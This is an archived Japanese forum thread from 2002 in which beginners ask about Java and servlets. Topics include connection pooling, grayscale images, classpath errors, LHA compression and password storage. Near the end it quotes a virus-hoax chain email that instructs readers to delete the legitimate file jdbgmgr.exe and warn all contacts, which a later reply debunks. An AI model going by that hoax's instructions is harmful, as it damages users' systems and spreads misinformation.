EJBが必要かどうか、よく分かりません・・・
>>902
EJBはムダ。
もひとつ、コネクション・プーリングのことを調べてみ。
>903
明快なご解答をありがとうございます。
>904
今から逝ってきます〜
戻ってきました。
コネクション・プーリングという言葉を初めて聞きました。
そうなんです、DAOを使っていた時も場合によってはDatabaseを
開きっぱなしにして最後に閉じる、ということもありました。
Webではそのさじ加減がどうなっているんだろう?と疑問に思って
いました。
もしもよろしければ、そのあたりを詳しく書いてある本で、
おすすめがありましたらお教え下さい。お願いします。
>>906
javax.sql.DataSource.getConnection()
を調べること。
コアサーブレット&JSPという本の最終章付近をきちんと読んで
いなかった!ここに接続プールが載っていました。
これから読んでみます。(この本にかなり助けられています)
javax.sql.DataSource.getConnection()を見てみました。
これってDataSourceインターフェースですよね・・・
上の本を読んで、もう一度調べてみます。
909デフォルトの名無しさん:02/03/05 19:29
int型arrayに格納されている画像データ(12bitグレイスケール)を
createImageを使ってImage型に変換したいのですが、方法がよくわかりません。
RGBだと、以下の形式で出来たんですけど、
グレイスケールでのカラースペースの指定がよく分かりません。
Image image = createImage(new MemoryImageSource(img_w, img_h, ColorModel.getRGBdefault(), img, 0, img_w) );

最悪、画像データを12bit→8bitに変換しても良いのですが、
RGB全部に同じ濃淡値を入れてグレイスケールにするのは
スマートじゃない気がするので・・・
910MAKUBE2:02/03/05 20:04
今はWZeditorでプログラム作っているんですが,何か安くて使いやすい
エディターってないでしょうか?
jeditっていうのは,何故かJavaアプリで不安定でX.
UltraEditっていうのが$35でDOSコマンドも入れれるし,
DOSのcommand outputっていうタグが出来たり,もちろんKeywordは色つき.
他の言語にも対応していてよかでした。

DOSプロンプトも標準のものが使いにくいので
ComWin32というのを使っています。これはもうひとつ使いにくいですね.
command outputの常時がいまいち不安定で。

何か良いeditorとか,シェル(MSDOSの)を紹介してくださいな。
良いっていうのは安いっていうのも意味してます。
>>910
自作しなさい。終わり。

jedit 不安定かなぁ?
IM対応してないから変換前の文字が
ヘンな場所に出てくるのは気になったけど。
912MAKUBE2:02/03/05 20:33
んな暇ないがな。一応メーカー勤務(非コンピューター業界
の研究所勤務)の社会人なので。
ところで、
それってJavaスレで質問するよーなもんなのでせうか?
Mac にも jeditってあったような。
アレは日本語のJなのかな?
915デフォルトの名無しさん:02/03/05 22:03
JavaのLhaの圧縮が可能なライブラリは無いでしょうか?
解凍のみのものなら見つかったのですが。
916デフォルトの名無しさん:02/03/05 22:10
以前にも質問をさせてもらったjava初心者です。
javacでコンパイルに成功し、javaでスタンドアロンプログラムを実行しようとしたら
コマンドの後にエラーメッセージが表示されました。
どういう意味なのでしょうか?

C:\>jdk1.2.2\bin\java HelloJava
Exception in thread "main" java.long.NoClassDefFoundError: HelloJava
917MAKUBE2:02/03/05 22:12
俺も初心者なんだが...

java -cp . xxxx (拡張子なし)
>916
"HelloJava.class"のあるディレクトリで実行すれ。
919デフォルトの名無しさん:02/03/05 22:30
Java1.2.2の、リフレクションのgetDeclaredClasses()が、
インナークラスの中にさらにインナークラスがあると
インターナルエラーになるんですけど、なんとかなりませんか?
920909:02/03/05 22:31
質問が明確ではなかったですね・・反省
 12bit(or8bit)のグレイスケールを表示する方法を教えてください。
というのが私の質問でした。m( )m
>920
MemoryImageSourceではなくて
BufferedImage使えばよいかと思う。

けど、わりとめんどくさいんだよね。
DataBufferとSampleModelからWritableRaster作って
ColorSpace.CS_GRAYでColorModel作って・・・

なんかもっと楽な方法無いかね。

TYPE_USHORT_GRAYでBufferedImage作って
各ピクセル値4bit左シフトして書込み、ってのがお気楽かな。


詳しいことは俺はぜんっぜん知らないけどな。
922デフォルトの名無しさん:02/03/05 23:36
質問です。
テキストエリア(ta)
で一部分だけ選択してボタン押したら
太字にさせたいんだけど
どうしたらいいんですか?
se=ta.getSelectedText()
se.setFont〜
かと思ったんですけどだめでした←ばか
あとこうゆう場合
http://java.sun.com/j2se/1.3/ja/docs/ja/api/index.html
をどうかつようすればいいんですか?
みかたがわからなくて・・・すんません
923PPP:02/03/05 23:45
以下をコンパイルして実行してもうまくファイルに書き込めてない
のですが、詳しい方教えていただけませんか。コメントのところを
有効にして、bw.write(i);の行をコメント化すると、期待通りに
実行されます。読みにくくてごめんなさい。

import java.io.*;

class Test {
public static void main(String args[]) {
try {
FileWriter fw = new FileWriter(args[0]);
BufferedWriter bw = new BufferedWriter(fw);

for(int i=0;i<10;i++) {
//bw.write(i+"\n");
bw.write(i);
}

bw.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
924923:02/03/05 23:46
>うまくファイルに書き込めてない
ではなくうまく表示されない...です。


close()する前にflush()
>>924
は? どこに何が?
とりあえず日本語を (以下略
927デフォルトの名無しさん:02/03/06 00:55
すみません、質問させてください。
よくネットワーク系のアプリ(FTPクライアントとか)で、
パスワードを記録しておいて、次回以降入力しなくても良いような
アプリがよくありますが、Javaで、しかもソースコードに
アクセスできるような場合、どのようなライブラリを使えば
安全に保存できるのでしょうか?
まさかプレーンテキストで保存するわけにもいかず、悩んでます。
>>927
JDK1.4でjavax.crypto。
929927:02/03/06 01:44
>>928
すみません、JDK1.3も対応させないといけないんです。
現状、1.4はまだ未完成くさいですし、まだ1.4が出てない
プラットフォームのユーザーもいるもので。
無茶かと思いますが、何か良い手はない物でしょうか?
>>929
http://sdc.sun.co.jp/news/200011/product01.html

買うと高いみたい。自作したら?
931927:02/03/06 02:16
>>930
これは本気で高いですね・・・
さすがに趣味のアプリにここまでは出せません。
自作も考えていますが、どんなアルゴリズムにしたものだか。
ちょっと勉強してみます。
932デフォルトの名無しさん:02/03/06 03:23
>>915
LHAのライブラリだったら、今作ってる、っつーか
java.util.zip 相当の機能の実装は完了してるっす。
当方小心者ゆえ2chで晒すのはカンベンっす。
平文保存に抵抗あるだけならパスワードテキストだけ GZIP 圧縮すれば?
935デフォルトの名無しさん:02/03/06 08:00
僕は100Hくらい勉強してようやくJAVAの感じが
つかめてきました。そろそろソフトを組んでみたいのですが
とりあえず本のソースを写しながらソフトを作りましょう、
みたいなコンセプトでわかりやすいソースの解説があって
上達にもつながる書籍はありませんでしょうか?よろしくおながいします。
>>929
JCE使えよ。
937デフォルトの名無しさん:02/03/06 10:53
>"HelloJava.class"のあるディレクトリで実行すれ。

パスが通っていないらしく、「コマンドまたはファイル名」が違いますという
メッセージが出ます。
autoexec.batファイルは以下のようになっていますがおかしいところはあるでしょうか。
このスレを参考に一応パスを通そうとはしてみたのですが。
よろしくお願いします。
----------------------------------------------------
SET DOS4G=QUIET
C:\PROGRA~1\NETWOR~1\MCAFEE~1\SCAN.EXE C:\ /NOBREAK /SILENT
@IF ERRORLEVEL 1 PAUSE
REM [Header]
@ECHO OFF
loadhigh c:\windows\COMMAND\nlsfunc.exe c:\windows\country.sys

REM [CD-ROM Drive]
rem - By Windows Setup - C:\WINDOWS\COMMAND\MSCDEX.EXE /D:MSCD001 /L:R

REM [Miscellaneous]

REM [Display]

REM [Sound, MIDI, or Video Capture Card]

REM [Mouse]

C:\ESSAUDIO.COM
REM Environment Settings For McAfee VirusScan
SET PATH=C:\WINDOWS;C:\WINDOWS\COMMAND;C:\jdk1.2.2\BIN
SET LIB=D:\アプリケーション\プログラム言語\LIB;D:\アプリ~1\プログ~1
SET INCLUDE=D:\アプリケーション\プログラム言語\INCLUDE
>935
「コア・サーブレット&JSP」
初心者から中級者まで使える。幅広く分かりやすく、かつ
サンプルも割といい。これを読んで、「はじめてのJSP&サーブレット」
を読むと、簡単な通販サイトは作れるようになった。後の本は他にも
いいものがあると思うが、最初の本は絶対に勧める。

アプレット方面は知らん。
>>937
環境変数には日本語含めないほうが良いかもね
それ以外は特に AUTOEXEC.BAT は間違って無いと思うけど?
>>933
ライバルハケーン?(謎W
LhaOutputStreamの実装はやっぱテンポラリファイル使うしかないっすかね?
(ヘッダにCRCとかあるから巻き戻し必須)
LHAの実装してる人、他にもいたんすね…
googleで検索したらHitします?

テンポラリ使うか、ランダムアクセス可能なオブジェクトに
書き出すかの2択しか考えつかなかったっす。
俺のは ZipOutputStream と同じような機能を
提供するクラスは一応 2つ作ったっす。
942デフォルトの名無しさん:02/03/06 11:57
J2SDK 1.4.0+Forte 3.0でForteの初回起動時に次のメッセージボックスが出ます。
Jumbo Path 3.2をあてれば問題ない?
それとも1.4.0は、やめた方が良いのでしょうか?

以前のインストールされたモジュールセットの一部が依存関係を満たしていなかったので、
使用不可として扱われます。
Tools Debugger("org.netbeans.modules.debugger.dbeug/1")に対して失敗しました。
このモジュールが依存するJavaパッケージsun.tools.debugは読み込まれていません
(または、バージョン管理の仕様により登録されていません)
>>933,>>940
ライセンスとかどの様にするつもりなんでしょうか?
出来れば使わせていただきたい・・・。
>915さんに恥かしいアレを握られている予感がする罠(;´Д`)

>>941 自分はテンポラリ使うモードの他に
オンメモリと2パスモードの3つのパターンを考えたっす。
考えただけでまだなにもないけど

>>915 よければどんなソフト作ろうとしてるかコソーリ教えてもらえませんか?
圧縮は自分で必要が無かったんでやる気萎え萎えだったんすよ。
お金が絡まなくて急ぎでないなら再開しようかなぁ.
945デフォルトの名無しさん:02/03/06 14:06
以前StringとStringBufferの質問をしたものです。
Finalに関しては分かりましたが、Stringって全く
書き換えができないのでしょうか?
(中に入っている文字列の追加、削除ができないのは
分かります)

for(i=1;i<5;i++){
String entry = resultSet.getString(i);
}

こんな感じのサンプルを見て、entryを何度も宣言して
いいんだろうか、これはentryをたくさん生成している
んだろうか、いつ解放されるんだろう、どうして書き換
えできるんだろう?と悩んでいます。
どうか教えて下さい。お願いします。
946915:02/03/06 14:12
>>944
会社で使うんでバリバリ金が絡みますねぇ。
しかも、結構急ぐし(氏
今回はあきらめてZipかGZipにします。

暇が出来たら自分でもunix-lhaのソースでも見て作ってみようかのぅ。
>>945 考え方としてはループの一回の繰り返しの終わり毎に
メソッド抜ける時と同じように変数領域の開放が行われると
思えばいいんじゃない?

つまり
 for( ;; ) 繰り返し文 ;
が基本にあって
「繰り返し文」のところが{}で囲んだ複文に置き換わっているわけじゃん。
だから毎回繰り返しの終わりで閉じ括弧「}」を抜けてるわけ。
ローカル変数宣言は{}の中が有効範囲だからいわば毎回クリアされるわけ。

実際はループの中で変数宣言してもべつにパフォーマンスに影響はないよ。
コンパイル時に変数領域(スタック上の位置)は確定してしまうからね。
>947
>ローカル変数宣言は{}の中が有効範囲

うを!そうなのですか、すっきり納得です。
これで心置きなく書くことができます。
ありがとうございます。
>>946 >>944
実装できたら速度勝負とかしてみたいっす。
そんときゃよろしくっす。
950デフォルトの名無しさん:02/03/06 20:26
そろそろ新スレですが、↓こんなのは駄目?
____________
何でもマターリと質問して下さい。
 ̄ ̄ ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄
      人  b  ∧∧
(○)   /〇ヽ/  (゚Д゚,,) ̄ ̄ 丶〜
ヽ|〃  ( し-J     U U  ̄ ̄UU
_________∧________
カキコする前に>>2-10をチェックしとけゴルァ!!
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
よさげ
なんだかdukeはぎこのえさになりそうな雰囲気だなぁ。
953950:02/03/06 20:47
なんか「スレ立てすぎ」とか出るので立てられません(汗
僕は全然立ててないのに。

別に>>950の通りでなくとも良いので、誰かそろそろ立ててチョ。
954935:02/03/06 21:15
>>938
ありがとうございました。
やっぱ時代はサーブレットですねヽ(´ー`)ノ
955デフォルトの名無しさん:02/03/06 21:39
DQNに3を取られてしまいましたが、新スレ立てました。

初心者歓迎! Java相談室 その6
http://pc.2ch.net/test/read.cgi/tech/1015418174/
956DQN:02/03/06 21:40
いえいえ、こちらこそ 2 を取られてしまいました (藁
>>956
ワロタ
958937:02/03/07 21:16
>>939
新スレがすでにあるようですがこちらに書かせてもらいます。
どうもありがとうございました。
日本語なしでやってみます。
959デフォルトの名無しさん:02/03/08 05:40
例のコンパイルエラーの質問・・・
予想、クラスネームと、ファイルの名前の不一致
あるいは、staticが抜けてるとか・・・
960デフォルトの名無しさん:02/03/09 18:35
javacをした時のエラーメッセージのロケールを切り替えるにはどうしたらいいんでしょうか?
英語出力にしたいのですが・・・。
javac -J-Duser.language=en Hoge.java
かな。いや、違うかも。

新スレのほうへどうぞ
http://pc.2ch.net/test/read.cgi/tech/1015418174/
962153==161:02/03/09 22:09
157様 >>162-163
レス遅くなり申し訳ないです。よく読んでみて考えてみます。
ありがとうございます!
963962:02/03/09 22:14
誤爆。
964デフォルトの名無しさん:02/03/15 01:32
初心者pgです。jspについてご教授ください。public voidのメソッドを作成するときout.printlnを使用すると未定義のエラーがでます。どのようにすれば使用できますか?だれかご教授ください。
>>964
outはSystemのstaticメンバじゃねえのか?
>>964
もう次のスレたってるのだが・・・
メソッド作成でout?
このスレは終了しています。
質問は新しいスレにお願します。

初心者歓迎! Java相談室 その6
http://pc.2ch.net/test/read.cgi/tech/1015418174/
新スレたったよ。
その6に書き込めなくなったから、こっちのスレに告知。

初心者歓迎! Java相談室 その7
http://pc.2ch.net/test/read.cgi/tech/1018631329/
969デフォルトの名無しさん:02/05/13 18:19
新スレ見失った
970あぼーん:あぼーん
あぼーん
971デフォルトの名無しさん:02/05/16 13:01
>>970
ウザイ。
972デフォルトの名無しさん:02/05/16 14:01
教えて下さい。
たった今オークションでお取引した方からメールがきました。内容は・・・

> 今日、知人から連絡があり、彼女のアドレスブックがウィルスに感染したの
で、私 も調べるように言われました。
このウィルスは電子メールを送付したかどうかにかかわらず、
アドレスブックに登録されているすべてのアドレスに感染するそうです。
ウィルスは jdbgmgr.exeという名前で、14日間静かにしていてシステムを破壊し ます。
ノートンやMCAfeeのワクチンソフトでは検出できません。
メッセンジャーを通して自動的にアドレスブックにあるアドレスに送付されます。

> 恐れ入りますが、下記の要領でプログラムの存在を発見し、削除し、
アドレスブックに記載されている人すべてに警告してください。

1. 画面下のスタートをクリックし、プ    ログラムやファイルを検索するオ    プションをクリックして下さい。
2. 検索するファイル名として、      jdbgmgr.exe と書きます。
3. ドライブCを検索してください。
4. 「検索」をクリックします。
5. ウィルスは、jdbgmgr.exeファイ ル名の頭にテディベアの
   アイコンがついています。絶対に開けないようにしてください!
6. 右クリックして削除。ゴミ箱に入れます。 右クリックが効かないときは
     ドラッグしてゴミ箱へ。
7. ゴミ箱をクリックして、そこでも削除してください。
>
> ウィルスが発見された場合は、かならず、アドレスブックに記載されている
> 人すべてに連絡してください。
 
それで検索したところ
 私のパソコンも感染しており、灰色のテディベアのアイコンが付いていました。
この情報は正しいのでしょうか?
我が家のPCはI.E5.5SP2です。
973デフォルトの名無しさん:02/05/16 14:01
↑スレ違いお許しを!
974デフォルトの名無しさん:02/05/16 22:16

test
?
>>972
優しいオレがマジレスしてやろう。
いたずらメールだから気にするな。
まぁ、チェーンメールの一種だな。

いたずらだと言う根拠となるソースも見せてやろう。
↓マイクロソフトのところだからブラクラとかじゃない。安心して見ろ。
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/virus/false/jdbgmgr.asp

どうせ、無意味にパニくってるマルチポスト野郎なんだろうなぁ・・・。
マジレスしてやったけどちゃんと見てるかなぁ・・・。
978ago:02/05/17 03:04
ago
新スレ

初心者無視! Java相談室 その9
http://pc.2ch.net/test/read.cgi/tech/1021555964/
このスレもそろそろしずめるべき?
てか、埋めるか・・・。
ぐ、書き込めない・・・。
2chネタでsage.exeというウィルスが・・・っていうのもあったよね。
ひろゆきが作ったウィルスでうんぬんっていうやつ。
灰色のテディベア。
嘘を(以下略


















ぽ。
むむむ。
しみじみ
しみじみ
しみじみ
むぎゅう。
990
       @ノノハ@ ミ _ ドスッ
       ( ‘д‘) ─┴┴─┐
       /   つ.  9 9 1 │
      /_____|└─┬┬─┘
        ∪ ∪    ││ _ε3

      ∋oノハヽo∈ ミ _ ドスッ
       ( ´D`) ─┴┴─┐
       /   つ.  9 9 2 │
      /_____|└─┬┬─┘
        ∪ ∪    ││ _ε3
む、感づかれたか。(w
       oノハヽo    _ ドスッ
       (`.∀´) ─┴┴─┐
       /   つ.  9 9 5 .│
      /_____|└─┬┬─┘
        ∪ ∪    ││ _ε3

ぐわっ、ずれた。

       @ノノヽヽヽ@ ミ _ ドスッ
       ( 0^〜^)─┴┴─┐
       /   つ.  9 9 6 │
      /_____|└─┬┬─┘
        ∪ ∪    ││ _ε3
       oノハヽo   _ ドスッ
       (`.∀´) ─┴┴─┐
       /   つ.  9 9 6.│
      /_____|└─┬┬-┘
        ∪ ∪.    ││ _ε3
       oノハヽo   _ ドスッ
       (`.∀´) ─┴┴─┐
       /   つ.  9 9 8 │
      /_____|└─┬┬-┘
        ∪ ∪.    ││ _ε3
      \∧_ヘ     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ,,、,、,,, / \〇ノゝ∩ < 1000取り合戦、いくぞゴルァ!!       ,,、,、,,,
    /三√ ゚Д゚) /   \____________  ,,、,、,,,
     /三/| ゚U゚|\      ,,、,、,,,                       ,,、,、,,,
 ,,、,、,,, U (:::::::::::)  ,,、,、,,,         \おせーよ!!/
      //三/|三|\     ∧_∧∧_∧ ∧_∧∧_∧∧_∧∧_∧
      ∪  ∪       (    )    (     )   (    )    )
 ,,、,、,,,       ,,、,、,,,  ∧_∧∧_∧∧_∧ ∧_∧∧_∧∧_∧∧_∧
      ,,、,、,,,       (    )    (    )    (    )    (    )

      〜oノハヽo〜 ミ _ ドスッ
       ( ^▽^) ─┴┴─┐
       /   つ.  1000 │    
      /_____|└─┬┬─┘
        ∪ ∪    ││ _ε3
10011001
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。